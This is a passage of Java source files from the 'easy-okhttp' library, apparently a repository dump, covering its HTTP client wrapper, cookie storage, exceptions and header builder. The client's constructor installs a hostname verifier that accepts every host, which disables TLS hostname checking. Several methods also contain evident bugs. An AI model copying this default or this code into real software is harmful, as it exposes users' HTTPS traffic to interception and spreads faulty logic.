com.mzlion.easyokhttp.request.PostRequest;\nimport com.mzlion.easyokhttp.request.TextBodyRequest;\nimport com.mzlion.easyokhttp.utils.SSLContexts;\nimport okhttp3.HttpUrl;\nimport okhttp3.Interceptor;\nimport okhttp3.OkHttpClient;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.SSLSession;\nimport javax.net.ssl.X509TrustManager;\nimport java.io.InputStream;\nimport java.util.Collections;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * {@linkplain HttpClient}是对{@code OkHttpClient}封装，提供更便捷的网络操作。\n * </p>\n * 修订历史：\n * <ul>\n * <li>2016-05-12   项目创建</li>\n * <li>2016-12-28   项目改版及其优化</li>\n * </ul>\n *\n * @author mzlion(https://git.oschina.net/mzllon/easy-okhttp)\n * @version 1.0\n */\npublic enum HttpClient {\n    Instance;\n\n    public static final int DEFAULT_TIMEOUT = 10;//10seconds\n    //logger\n    private static final Logger LOGGER = LoggerFactory.getLogger(HttpClient.class);\n\n    /* OkHttp */\n    private OkHttpClient.Builder builder;\n    private CookieStore cookieStore;\n    private OkHttpClient okHttpClient;\n\n    /* 默认的Header存储 */\n    private Map<String, Map<String, String>> defaultHeaders;\n//    private Map<String, String> defaultParameters;\n\n    /* default constructor */\n    HttpClient() {\n        //default init\n        this.cookieStore = new MemoryCookieStore();\n        this.builder = new OkHttpClient.Builder()\n                //设置cookie自动管理\n                .cookieJar(new DefaultCookieJar(this.cookieStore))\n                //设置默认主机验证规则\n                .hostnameVerifier(new HostnameVerifier() {\n                    @Override\n                    public boolean verify(String hostname, SSLSession session) {\n                        return true;\n                    }\n                });\n\n        //读取默认配置文件\n        PropertyResolver propertyResolver = new PlaceholderPropertyResolver.Builder()\n                .path(\"classpath:easy-okhttp.properties\").build();\n\n        //连接超时时间\n        int timeout = propertyResolver.getProperty(\"connectTimeout\", int.class);\n        if (timeout <= 0) {\n            timeout = DEFAULT_TIMEOUT;\n        }\n        this.builder.connectTimeout(timeout, TimeUnit.SECONDS);\n\n        //读取超时时间\n        timeout = propertyResolver.getProperty(\"readTimeout\", int.class);\n        if (timeout <= 0) {\n            timeout = DEFAULT_TIMEOUT;\n        }\n        this.builder.readTimeout(timeout, TimeUnit.SECONDS);\n\n        //写入超时时间\n        timeout = propertyResolver.getProperty(\"writeTimeout\", int.class);\n        if (timeout <= 0) {\n            timeout = DEFAULT_TIMEOUT;\n        }\n        this.builder.writeTimeout(timeout, TimeUnit.SECONDS);\n\n        this.defaultHeaders = new ConcurrentHashMap<>(10);\n//        this.defaultParameters = new ConcurrentHashMap<>();\n\n//        String key, value;\n//        String[] valueArray;\n//        for (Map.Entry<String, String> entry : propertyResolver.getAllProperties().entrySet()) {\n//            key = entry.getKey();\n//            value = entry.getValue();\n//            if (value == null) continue;\n//            if (StringUtils.startsWithIgnoreCase(key, \"header\")) {\n//                valueArray = StringUtils.splitAtFirst(key, \".\");\n//                this.defaultHeaders.put(valueArray[1], value);\n//            }\n//            else if (StringUtils.startsWithIgnoreCase(key, \"param\")) {\n//                valueArray = StringUtils.splitAtFirst(key, \".\");\n//                this.defaultParameters.put(valueArray[1], value);\n//            }\n//        }\n    }\n\n\n    //region================超时时间设置方法================\n\n    /**\n     * 设置连接超时时间\n     *\n     * @param connectTimeout 超时时间\n     * @param timeUnit       超时时间单位\n     * @return {@linkplain HttpClient}\n     */\n    public HttpClient connectTimeout(int connectTimeout, TimeUnit timeUnit) {\n        if (connectTimeout <= 0) {\n            LOGGER.error(\" ===> Connect timeout must not be less than 0.\");\n            return this;\n        }\n        Assert.notNull(timeUnit, \"TimeUnit may not be null.\");\n        this.builder.connectTimeout(connectTimeout, timeUnit);\n        return this;\n    }\n\n    /**\n     * 设置连接超时时间\n     *\n     * @param connectTimeout 超时时间,单位秒\n     * @return {@linkplain HttpClient}\n     * @see #connectTimeout(int, TimeUnit)\n     */\n    public HttpClient connectTimeout(int connectTimeout) {\n        return connectTimeout(connectTimeout, TimeUnit.SECONDS);\n    }\n\n    /**\n     * 设置流读取超时时间\n     *\n     * @param readTimeout 读取超时时间,单位毫秒\n     * @param timeUnit    超时时间单位\n     * @return {@linkplain HttpClient}\n     */\n    public HttpClient readTimeout(int readTimeout, TimeUnit timeUnit) {\n        if (readTimeout <= 0) {\n            LOGGER.error(\" ===> Read timeout must not be less than 0.\");\n            return this;\n        }\n        Assert.notNull(timeUnit, \"TimeUnit may not be null.\");\n        this.builder.readTimeout(readTimeout, timeUnit);\n        return this;\n    }\n\n    /**\n     * 设置流读取超时时间\n     *\n     * @param readTimeout 读取超时时间,单位秒\n     * @return {@linkplain HttpClient}\n     * @see #readTimeout(int, TimeUnit)\n     */\n    public HttpClient readTimeout(int readTimeout) {\n        return readTimeout(readTimeout, TimeUnit.SECONDS);\n    }\n\n    /**\n     * 设置流的写入超时时间\n     *\n     * @param writeTimeout 写入超时时间,单位是毫秒\n     * @param timeUnit     超时时间单位\n     * @return {@linkplain HttpClient}\n     */\n    public HttpClient writeTimeout(int writeTimeout, TimeUnit timeUnit) {\n        if (writeTimeout <= 0) {\n            LOGGER.error(\" ===> Write timeout must not be less than 0.\");\n            return this;\n        }\n        Assert.notNull(timeUnit, \"TimeUnit may not be null.\");\n        this.builder.writeTimeout(writeTimeout, timeUnit);\n        return this;\n    }\n\n    /**\n     * 设置流的写入超时时间\n     *\n     * @param writeTimeout 写入超时时间,单位是秒\n     * @return {@linkplain HttpClient}\n     * @see #writeTimeout(int, TimeUnit)\n     */\n    public HttpClient writeTimeout(int writeTimeout) {\n        return writeTimeout(writeTimeout, TimeUnit.SECONDS);\n    }\n    //endregion\n\n\n    //region================SSL证书设置方法================\n\n    /**\n     * https单向认证\n     *\n     * @param certificates 含有服务端公钥的证书\n     * @return {@link HttpClient}\n     */\n    public HttpClient customSSL(InputStream... certificates) {\n        return customSSL(null, null, certificates);\n    }\n\n    /**\n     * https单向认证,直接配置证书管理\n     *\n     * @param trustManager 证书管理器\n     * @return {@link HttpClient}\n     */\n    public HttpClient customSSL(X509TrustManager trustManager) {\n        return customSSL(null, null, trustManager);\n    }\n\n    /**\n     * https双向认证\n     *\n     * @param pfxStream    客户端证书，支持P12的证书\n     * @param pfxPwd       客户端证书密码\n     * @param certificates 含有服务端公钥的证书\n     * @return {@link HttpClient}\n     */\n    public HttpClient customSSL(InputStream pfxStream, char[] pfxPwd, InputStream... certificates) {\n        SSLContexts.SSLConfig sslConfig = SSLContexts.tryParse(certificates, null, pfxStream, pfxPwd);\n        this.builder.sslSocketFactory(sslConfig.getSslSocketFactory(), sslConfig.getX509TrustManager());\n        return this;\n    }\n\n    /**\n     * https双向认证\n     *\n     * @param pfxStream    客户端证书，支持P12的证书\n     * @param pfxPwd       客户端证书密码\n     * @param trustManager 证书管理器\n     * @return {@link HttpClient}\n     */\n    public HttpClient customSSL(InputStream pfxStream, char[] pfxPwd, X509TrustManager trustManager) {\n        SSLContexts.SSLConfig sslConfig = SSLContexts.tryParse(null, trustManager, pfxStream, pfxPwd);\n        this.builder.sslSocketFactory(sslConfig.getSslSocketFactory(), sslConfig.getX509TrustManager());\n        return this;\n    }\n    //endregion\n\n\n    //region================设置默认请求================\n\n    /**\n     * 设置默认的Http Header\n     *\n     * @param host  主机名\n     * @param name  Header名称\n     * @param value Header值\n     * @return {@linkplain HttpClient}\n     */\n    public HttpClient setDefaultHeader(String host, String name, String value) {\n        Assert.hasLength(host, \"Host may not be null or empty.\");\n        Assert.hasLength(name, \"Name may not be null or empty.\");\n        Assert.notNull(value, \"Value may not be null.\");\n        HttpUrl httpUrl = HttpUrl.parse(host);\n        if (httpUrl == null) {\n            throw new IllegalArgumentException(\"Host [\" + host + \"] is invalid.\");\n        }\n        Map<String, String> headers = defaultHeaders.get(httpUrl.host());\n        if (CollectionUtils.isEmpty(headers)) {\n            headers = new ConcurrentHashMap<>();\n            defaultHeaders.put(httpUrl.host(), headers);\n        }\n        headers.put(name, value);\n        return this;\n    }\n\n    /**\n     * 获取默认的Http Header列表\n     *\n     * @param host 主机名\n     * @return Header键值对列表\n     */\n    public Map<String, String> getDefaultHeaders(String host) {\n        Assert.hasLength(host, \"Host may not be null or empty.\");\n        HttpUrl httpUrl = HttpUrl.parse(host);\n        return getDefaultHeaders(httpUrl);\n    }\n\n    /**\n     * 获取默认的Http Header列表\n     *\n     * @param httpUrl 地址信息\n     * @return Header键值对列表\n     */\n    public Map<String, String> getDefaultHeaders(HttpUrl httpUrl) {\n        Assert.notNull(httpUrl, \"HttpUrl is null or invalid.\");\n        Map<String, String> headers = defaultHeaders.get(httpUrl.host());\n        return headers == null ? Collections.<String, String>emptyMap() : Collections.unmodifiableMap(headers);\n    }\n\n    /**\n     * 清除默认参数\n     *\n     * @param host 主机名\n     * @return {@linkplain HttpClient}\n     */\n    public HttpClient clearDefaultHeaders(String host) {\n        Assert.hasLength(host, \"Host may not be null or empty.\");\n        HttpUrl httpUrl = HttpUrl.parse(host);\n        return clearDefaultHeaders(httpUrl);\n    }\n\n    /**\n     * 清除默认参数\n     *\n     * @param httpUrl 地址信息\n     * @return {@linkplain HttpClient}\n     */\n    private HttpClient clearDefaultHeaders(HttpUrl httpUrl) {\n        Assert.notNull(httpUrl, \"HttpUrl is null or invalid.\");\n        defaultHeaders.remove(httpUrl.host());\n        return this;\n    }\n    //endregion\n\n//    /**\n//     * 获取默认的请求参数列表\n//     *\n//     * @return 请求参数键值对列表\n//     */\n//    public Map<String,String> getDefaultParams() {\n//        return new ConcurrentHashMap<>(this.defaultParameters);\n//    }\n\n    //region================Cookie和拦截器================\n\n    /**\n     * 提供自己管理Cookie的能力\n     *\n     * @param cookieStore 操作Cookie的接口\n     * @return {@linkplain HttpClient}\n     */\n    public HttpClient setCookieStore(CookieStore cookieStore) {\n        Assert.notNull(cookieStore, \"CookieStore may not be null.\");\n        this.cookieStore = cookieStore;\n        this.builder.cookieJar(new DefaultCookieJar(cookieStore));\n        return this;\n    }\n\n    /**\n     * 返回{@linkplain CookieStore}实现类\n     *\n     * @return {@link CookieStore}\n     */\n    public CookieStore getCookieStore() {\n        return this.cookieStore;\n    }\n\n    /**\n     * 添加全局拦截器\n     *\n     * @param customInterceptor 拦截器接口\n     * @return {@linkplain HttpClient}\n     */\n    public HttpClient addInterceptor(Interceptor customInterceptor) {\n        this.builder.addInterceptor(customInterceptor);\n        return this;\n    }\n    //endregion\n\n    //region================Debug调试================\n\n    /**\n     * 调试模式，默认打印请求参数和响应结果\n     *\n     * @return {@linkplain HttpClient}\n     */\n    public HttpClient debugLog() {\n        return debugLog(DebugLoggingInterceptor.Level.BASIC);\n    }\n\n    /**\n     * 调试模式，自定义设置日志级别\n     *\n     * @param loggingLevel 日志级别\n     * @return {@linkplain HttpClient}\n     * @see DebugLoggingInterceptor.Level\n     */\n    public HttpClient debugLog(DebugLoggingInterceptor.Level loggingLevel) {\n        DebugLoggingInterceptor instance = DebugLoggingInterceptor.INSTANCE;\n        instance.setLoggingLevel(loggingLevel);\n        this.builder.addInterceptor(instance);\n        return this;\n    }\n    //endregion\n\n\n    //region============构建OkHttpClient===================\n\n    /**\n     * 返回{@linkplain OkHttpClient}对象\n     *\n     * @return {@link OkHttpClient}\n     */\n    public OkHttpClient getOkHttpClient() {\n        if (this.okHttpClient == null) {\n            synchronized (Instance) {\n                if (this.okHttpClient == null) {\n                    this.okHttpClient = builder.build();\n                }\n            }\n        }\n        return this.okHttpClient;\n    }\n\n    public OkHttpClient.Builder getOkHttpClientBuilder() {\n        this.getOkHttpClient();//为了创建默认的OkHttpClient\n        return this.builder;\n    }\n    //endregion\n\n\n    //region=====================request======================\n\n    /**\n     * Get请求\n     *\n     * @param url 请求地址\n     * @return {@link GetRequest}\n     */\n    public static GetRequest get(String url) {\n        return new GetRequest(url);\n    }\n\n    /**\n     * FORM/POST表单提交\n     *\n     * @param url 提交地址\n     * @return {@link PostRequest}\n     */\n    public static PostRequest post(String url) {\n        return new PostRequest(url);\n    }\n\n    /**\n     * 向请求体中传入二进制流\n     *\n     * @param url 请求地址\n     * @return {@linkplain BinaryBodyPostRequest}\n     */\n    public static BinaryBodyPostRequest binaryBody(String url) {\n        return new BinaryBodyPostRequest(url);\n    }\n\n    /**\n     * 文本POST请求体\n     *\n     * @param url 请求地址\n     * @return {@link TextBodyRequest}\n     */\n    public static TextBodyRequest textBody(String url) {\n        return new TextBodyRequest(url);\n    }\n    //endregion\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/cookie/CookieStore.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.cookie;\n\nimport okhttp3.Cookie;\nimport okhttp3.HttpUrl;\n\nimport java.util.List;\n\n/**\n * 定义Cookie存储机制\n *\n * @author mzlion on 2016/4/17.\n */\npublic interface CookieStore {\n\n    /**\n     * 为请求地址{@code url}增加Cookie\n     *\n     * @param uri     请求地址\n     * @param cookies Cookie列表\n     * @see Cookie\n     */\n    void add(HttpUrl uri, List<Cookie> cookies);\n\n    /**\n     * 获取某个请求地址的Cookie列表\n     *\n     * @param uri 请求地址\n     * @return Cookie列表\n     * @see Cookie\n     */\n    List<Cookie> get(HttpUrl uri);\n\n    /**\n     * 获取所有Cookie列表\n     *\n     * @return {@link Cookie}\n     */\n    List<Cookie> getCookies();\n\n    /**\n     * 删除请求的某个Cookie\n     *\n     * @param uri    请求地址\n     * @param cookie Cookie对象\n     * @return 删除成功则返回{@code true}，否则返回{@code false}\n     */\n    boolean remove(HttpUrl uri, Cookie cookie);\n\n    /**\n     * 清空所有Cookie列表\n     *\n     * @return 清空成功则返回{@code true}，否则返回{@code false}\n     */\n    boolean removeAll();\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/cookie/DefaultCookieJar.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.cookie;\n\nimport okhttp3.Cookie;\nimport okhttp3.CookieJar;\nimport okhttp3.HttpUrl;\n\nimport java.util.List;\n\n/**\n * 默认的Cookie处理,自动管理用户的Cookie.\n *\n * @author mzlion on 2016/4/17.\n */\npublic class DefaultCookieJar implements CookieJar {\n\n    private CookieStore cookieStore;\n\n    public DefaultCookieJar(CookieStore cookieStore) {\n        if (cookieStore == null) {\n            throw new NullPointerException(\"CookieStore may not be null.\");\n        }\n        this.cookieStore = cookieStore;\n    }\n\n    @Override\n    public void saveFromResponse(HttpUrl url, List<Cookie> cookies) {\n        cookieStore.add(url, cookies);\n    }\n\n    @Override\n    public List<Cookie> loadForRequest(HttpUrl url) {\n        return cookieStore.get(url);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/cookie/MemoryCookieStore.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.cookie;\n\nimport com.mzlion.core.lang.CollectionUtils;\nimport okhttp3.Cookie;\nimport okhttp3.HttpUrl;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * 内存缓存Cookie\n *\n * @author mzlionon 2016/4/17.\n */\npublic class MemoryCookieStore implements CookieStore {\n    private final Map<String, List<Cookie>> allCookies = new ConcurrentHashMap<>();\n\n    @Override\n    public void add(HttpUrl uri, List<Cookie> cookies) {\n        if (uri == null) {\n            throw new NullPointerException(\"Uri must not be null.\");\n        }\n        if (CollectionUtils.isEmpty(cookies)) {\n            throw new NullPointerException(\"Cookies must not be null.\");\n        }\n        List<Cookie> oldCookies = allCookies.get(uri.host());\n        List<Cookie> deleteCookies = new ArrayList<>(oldCookies.size());\n        for (Cookie cookie : cookies) {\n            for (Cookie oldCookie : oldCookies) {\n                if (oldCookie.name().equals(cookie.name())) {\n                    deleteCookies.add(oldCookie);\n                }\n            }\n        }\n        oldCookies.removeAll(deleteCookies);\n        oldCookies.addAll(cookies);\n    }\n\n    @Override\n    public List<Cookie> get(HttpUrl uri) {\n        if (uri == null) {\n            throw new NullPointerException(\"Uri must not be null.\");\n        }\n        List<Cookie> cookies = allCookies.get(uri.host());\n        if (cookies == null) {\n            cookies = new ArrayList<>();\n            allCookies.put(uri.host(), cookies);\n        }\n        return cookies;\n    }\n\n    @Override\n    public List<Cookie> getCookies() {\n        List<Cookie> cookies = new ArrayList<>(20);\n        for (String host : allCookies.keySet()) {\n            cookies.addAll(allCookies.get(host));\n        }\n        return cookies;\n    }\n\n    @Override\n    public boolean remove(HttpUrl uri, Cookie cookie) {\n        if (uri == null) {\n            throw new NullPointerException(\"Uri must not be null.\");\n        }\n        if (cookie == null) {\n            throw new NullPointerException(\"Cookie must not be null.\");\n        }\n        return allCookies.remove(uri.host()) != null;\n    }\n\n    @Override\n    public boolean removeAll() {\n        allCookies.clear();\n        return true;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/exception/HttpClientConfigException.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.exception;\n\n/**\n * 配置HttpClient异常\n *\n * @author mzlion on 2016/5/24.\n */\npublic class HttpClientConfigException extends RuntimeException {\n\n    private static final long serialVersionUID = 1788789757077983056L;\n\n    public HttpClientConfigException(Throwable cause) {\n        super(cause);\n    }\n\n    public HttpClientConfigException(String message) {\n        super(message);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/exception/HttpClientException.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.exception;\n\n/**\n * HttpClient执行过程的异常\n *\n * @author mzlion on 2016/7/12.\n */\npublic class HttpClientException extends RuntimeException {\n\n    private static final long serialVersionUID = 8168339677503663451L;\n\n    /**\n     * Constructs a new runtime exception with {@code null} as its\n     * detail message.  The cause is not initialized, and may subsequently be\n     * initialized by a call to {@link #initCause}.\n     */\n    public HttpClientException() {\n        super();\n    }\n\n    /**\n     * Constructs a new runtime exception with the specified detail message.\n     * The cause is not initialized, and may subsequently be initialized by a\n     * call to {@link #initCause}.\n     *\n     * @param message the detail message. The detail message is saved for\n     *                later retrieval by the {@link #getMessage()} method.\n     */\n    public HttpClientException(String message) {\n        super(message);\n    }\n\n    /**\n     * Constructs a new runtime exception with the specified cause and a\n     * detail message of <tt>(cause==null ? null : cause.toString())</tt>\n     * (which typically contains the class and detail message of\n     * <tt>cause</tt>).  This constructor is useful for runtime exceptions\n     * that are little more than wrappers for other throwables.\n     *\n     * @param cause the cause (which is saved for later retrieval by the\n     *              {@link #getCause()} method).  (A <tt>null</tt> value is\n     *              permitted, and indicates that the cause is nonexistent or\n     *              unknown.)\n     * @since 1.4\n     */\n    public HttpClientException(Throwable cause) {\n        super(cause);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/exception/HttpStatusCodeException.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.exception;\n\n/**\n * Http Status Code exception,当code不是200时则会跑出本异常信息\n *\n * @author mzlion on 2016/12/15.\n */\npublic class HttpStatusCodeException extends HttpClientException {\n\n    private static final long serialVersionUID = -1584716934177136972L;\n    private final String url;\n    private final int statusCode;\n    private final String statusMessage;\n\n    public HttpStatusCodeException(String url, int statusCode, String statusMessage) {\n        super(\"Request url[=\" + url + \"] failed, status code is \" + statusCode + \",status message is \" + statusMessage);\n        this.url = url;\n        this.statusCode = statusCode;\n        this.statusMessage = statusMessage;\n    }\n\n    /**\n     * 请求失败时的HTTP Status Code\n     *\n     * @return Http错误码\n     */\n    public int getStatusCode() {\n        return statusCode;\n    }\n\n    /**\n     * 请求失败时错误消息\n     *\n     * @return 失败消息\n     */\n    public String getStatusMessage() {\n        return statusMessage;\n    }\n\n    /**\n     * 返回请求地址\n     *\n     * @return 请求地址\n     */\n    public String getUrl() {\n        return url;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/http/BasicHeader.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.http;\n\nimport com.mzlion.core.lang.Assert;\n\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.LinkedList;\nimport java.util.List;\n\n/**\n * 消息头\n *\n * @author mzlion on 2016/12/8.\n */\npublic class BasicHeader implements Header, Serializable, Cloneable {\n\n    private static final long serialVersionUID = -6025489654253774764L;\n    private final String name;\n    private final String value;\n\n    public BasicHeader(String name, String value) {\n        Assert.hasLength(name, \"name may not be null.\");\n        Assert.notNull(value, \"Value may not be null.\");\n        this.name = name;\n        this.value = value;\n    }\n\n    /**\n     * Get the name of the Header.\n     *\n     * @return the name of the Header,  never {@code null}\n     */\n    @Override\n\n    public String getName() {\n        return name;\n    }\n\n    /**\n     * Get the value of the Header.\n     *\n     * @return the value of the Header,  may be {@code null}\n     */\n    @Override\n    public String getValue() {\n        return value;\n    }\n\n    /**\n     * Clone it.\n     *\n     * @see Cloneable\n     */\n    @Override\n    public Object clone() throws CloneNotSupportedException {\n        return super.clone();\n    }\n\n    /**\n     * Represent standard headeroutput\n     *\n     * @return a string representation\n     */\n    @Override\n    public String toString() {\n        int length = this.name.length() + 2;\n        if (this.value != null) length += this.value.length();\n        StringBuilder result = new StringBuilder(length);\n        result.append(this.name).append(\" :\");\n        if (this.value != null) result.append(this.value);\n        return result.toString();\n    }\n\n    public static StandardBuilder standard() {\n        return StandardBuilder.create();\n    }\n\n    /**\n     * 标准的消息头Builder\n     *\n     * @author mzlion\n     */\n    public static class StandardBuilder {\n\n        private final List<String> headerFields;\n        private final List<String> headerValues;\n\n        StandardBuilder() {\n            this.headerFields = new ArrayList<>();\n            this.headerValues = new ArrayList<>();\n        }\n\n        public static StandardBuilder create() {\n            return new StandardBuilder();\n        }\n\n        public StandardBuilder accept(String value) {\n            this.tryDo(Header.ACCEPT, value);\n            return this;\n        }\n\n        public StandardBuilder acceptCharset(String value) {\n            this.tryDo(Header.ACCEPT_CHARSET, value);\n            return this;\n        }\n\n        public StandardBuilder acceptEncoding(String value) {\n            this.tryDo(Header.ACCEPT_ENCODING, value);\n            return this;\n        }\n\n        public StandardBuilder acceptLanguage(String value) {\n            this.tryDo(Header.ACCEPT_LANGUAGE, value);\n            return this;\n        }\n\n        public StandardBuilder acceptRanges(String value) {\n            this.tryDo(Header.ACCEPT_RANGES, value);\n            return this;\n        }\n\n        public StandardBuilder age(String value) {\n            this.tryDo(Header.AGE, value);\n            return this;\n        }\n\n        public StandardBuilder allow(String value) {\n            this.tryDo(Header.ALLOW, value);\n            return this;\n        }\n\n        public StandardBuilder cacheControl(String value) {\n            this.tryDo(Header.CACHE_CONTROL, value);\n            return this;\n        }\n\n        public StandardBuilder connection(String value) {\n            this.tryDo(Header.CONNECTION, value);\n            return this;\n        }\n\n        public StandardBuilder contentEncoding(String value) {\n            this.tryDo(Header.CONTENT_ENCODING, value);\n            return this;\n        }\n\n        public StandardBuilder contentLanguage(String value) {\n            this.tryDo(Header.CONTENT_LANGUAGE, value);\n            return this;\n        }\n\n        public StandardBuilder contentLength(String value) {\n            this.tryDo(Header.CONTENT_LENGTH, value);\n            return this;\n        }\n\n        public StandardBuilder contentLocation(String value) {\n            this.tryDo(Header.CONTENT_LOCATION, value);\n            return this;\n        }\n\n        public StandardBuilder contentMD5(String value) {\n            this.tryDo(Header.CONTENT_MD5, value);\n            return this;\n        }\n\n        public StandardBuilder contentRange(String value) {\n            this.tryDo(Header.CONTENT_RANGE, value);\n            return this;\n        }\n\n        public StandardBuilder contentType(String value) {\n            this.tryDo(Header.CONTENT_TYPE, value);\n            return this;\n        }\n\n        public StandardBuilder contentDisposition(String value) {\n            this.tryDo(Header.CONTENT_DISPOSITION, value);\n            return this;\n        }\n\n        public StandardBuilder userAgent(String value) {\n            this.tryDo(Header.USER_AGENT, value);\n            return this;\n        }\n\n        public List<Header> build() {\n            List<Header> headerList = new LinkedList<>();\n            Header header;\n            for (int i = 0, size = this.headerFields.size(); i < size; i++) {\n                header = new BasicHeader(this.headerFields.get(i), this.headerValues.get(i));\n                headerList.add(header);\n            }\n            return headerList;\n        }\n\n        private void tryDo(String name, String value) {\n            int index = this.headerFields.indexOf(name);\n            if (index == -1) {\n                this.headerFields.add(name);\n                this.headerValues.set(this.headerFields.size() - 1, value);\n            } else {\n                this.headerValues.set(index, value);\n            }\n        }\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/http/DebugLoggingInterceptor.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.http;\n\nimport okhttp3.*;\nimport okhttp3.internal.Util;\nimport okhttp3.internal.http.HttpHeaders;\nimport okio.Buffer;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * 日志打印\n *\n * @author mzlion on 2017/1/24.\n */\npublic enum DebugLoggingInterceptor implements Interceptor {\n    INSTANCE;\n\n    private final Logger logger = LoggerFactory.getLogger(DebugLoggingInterceptor.class);\n\n    /**\n     * 日志级别\n     */\n    private Level loggingLevel;\n\n    DebugLoggingInterceptor() {\n        loggingLevel = Level.NONE;\n    }\n\n    public void setLoggingLevel(Level loggingLevel) {\n        this.loggingLevel = loggingLevel == null ? Level.NONE : loggingLevel;\n    }\n\n    @Override\n    public Response intercept(Chain chain) throws IOException {\n        //这个chain里面包含了request和response，所以你要什么都可以从这里拿\n        Request request = chain.request();\n        loggingRequest(request);\n\n        long startTime = System.nanoTime();\n        Response response = chain.proceed(request);\n        long usedTimes = TimeUnit.NANOSECONDS.toMillis(System.nanoTime() - startTime);\n        loggingResponse(response, usedTimes);\n\n        return 